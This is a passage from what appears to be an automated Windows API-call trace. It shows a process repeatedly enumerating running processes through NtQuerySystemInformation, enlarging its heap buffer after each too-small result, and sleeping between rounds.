Ptr=0x1cd660d0, Size=0x2048) returned 0x1cda08f0 [0106.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1cda08f0, ResultLength=0x0) returned 0xc0000004 [0106.852] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08f0, Size=0x306c) returned 0x1cf26600 [0106.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0106.852] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x4090) returned 0x42072080 [0106.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0106.852] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0106.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0106.853] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0106.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0106.854] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0106.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0106.854] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x2030a080 [0106.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.855] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x9144) returned 0x2030a080 [0106.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.855] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xa168) returned 0x2030a080 [0106.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.856] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xb18c) returned 0x2030a080 [0106.856] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.856] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xc1b0) returned 0x2030a080 [0106.856] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.856] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xd1d4) returned 0x2030a080 [0106.857] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.857] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xe1f8) returned 0x2030a080 [0106.857] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.857] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xf21c) returned 0x2030a080 [0106.857] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.858] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x10240) returned 0x2030a080 [0106.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.858] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x11264) returned 0x2030a080 [0106.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.859] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x12288) returned 0x2030a080 [0106.859] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.859] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x132ac) returned 0x2030a080 [0106.859] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.860] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x142d0) returned 0x2030a080 [0106.860] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.861] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x152f4) returned 0x2030a080 [0106.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.861] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x16318) returned 0x2030a080 [0106.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.862] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1733c) returned 0x2030a080 [0106.862] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.862] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x18360) returned 0x2030a080 [0106.862] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.863] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x19384) returned 0x2030a080 [0106.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.863] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1a3a8) returned 0x2030a080 [0106.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.864] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1b3cc) returned 0x2030a080 [0106.864] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.864] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1c3f0) returned 0x2030a080 [0106.864] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.865] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1d414) returned 0x2030a080 [0106.865] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.865] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1e438) returned 0x2030a080 [0106.865] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.866] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1f45c) returned 0x2030a080 [0106.866] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.866] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x20480) returned 0x2030a080 [0106.866] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0106.867] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x214a4) returned 0x2030a080 [0106.867] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0x0 [0106.868] Sleep (dwMilliseconds=0x64) [0107.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1cd660d0 [0107.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd660d0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1cd660d0, ResultLength=0x0) returned 0xc0000004 [0107.329] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x1cda08f0 [0107.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1cda08f0, ResultLength=0x0) returned 0xc0000004 [0107.329] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08f0, Size=0x306c) returned 0x1cf26600 [0107.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0107.330] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x4090) returned 0x42072080 [0107.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0107.330] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0107.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0107.331] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0107.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0107.331] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0107.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0107.331] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x2030a080 [0107.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.332] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x9144) returned 0x2030a080 [0107.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.332] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xa168) returned 0x2030a080 [0107.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.333] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xb18c) returned 0x2030a080 [0107.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.333] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xc1b0) returned 0x2030a080 [0107.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.334] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xd1d4) returned 0x2030a080 [0107.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.334] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xe1f8) returned 0x2030a080 [0107.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.334] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0xf21c) returned 0x2030a080 [0107.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.335] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x10240) returned 0x2030a080 [0107.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.335] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x11264) returned 0x2030a080 [0107.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.336] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x12288) returned 0x2030a080 [0107.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.336] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x132ac) returned 0x2030a080 [0107.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.337] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x142d0) returned 0x2030a080 [0107.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.337] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x152f4) returned 0x2030a080 [0107.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.338] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x16318) returned 0x2030a080 [0107.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.338] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1733c) returned 0x2030a080 [0107.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.339] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x18360) returned 0x2030a080 [0107.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.339] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x19384) returned 0x2030a080 [0107.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.340] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1a3a8) returned 0x2030a080 [0107.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.340] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1b3cc) returned 0x2030a080 [0107.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.341] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1c3f0) returned 0x2030a080 [0107.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.342] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1d414) returned 0x2030a080 [0107.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.342] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1e438) returned 0x2030a080 [0107.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0107.343] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1f45c) returned 0x2030a080 [0107.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0120.587] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x20480) returned 0x2030a080 [0120.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0x0 [0120.698] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x1cda08f0 [0120.698] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1cda08f0, ResultLength=0x0) returned 0xc0000004 [0120.699] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08f0, Size=0x306c) returned 0x1cf26600 [0120.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0120.699] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x4090) returned 0x42072080 [0120.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.699] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0120.700] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.700] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0120.700] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.700] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0120.700] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.700] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x41bf0080 [0120.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.701] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x9144) returned 0x41bf0080 [0120.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.701] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0xa168) returned 0x41bf0080 [0120.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.702] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0xb18c) returned 0x41bf0080 [0120.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.702] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0xc1b0) returned 0x41bf0080 [0120.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.702] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0xd1d4) returned 0x41bf0080 [0120.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.703] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0xe1f8) returned 0x41bf0080 [0120.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.703] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0xf21c) returned 0x41bf0080 [0120.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.703] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x10240) returned 0x41bf0080 [0120.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.704] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x11264) returned 0x41bf0080 [0120.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.704] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x12288) returned 0x41bf0080 [0120.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.705] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x132ac) returned 0x41bf0080 [0120.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.705] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x142d0) returned 0x41bf0080 [0120.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.705] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x152f4) returned 0x41bf0080 [0120.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.706] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x16318) returned 0x41bf0080 [0120.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.706] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x1733c) returned 0x41bf0080 [0120.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.707] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x18360) returned 0x41bf0080 [0120.707] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.707] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x19384) returned 0x41bf0080 [0120.707] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.708] RtlReAllocateHeap (Heap=0xa0000, 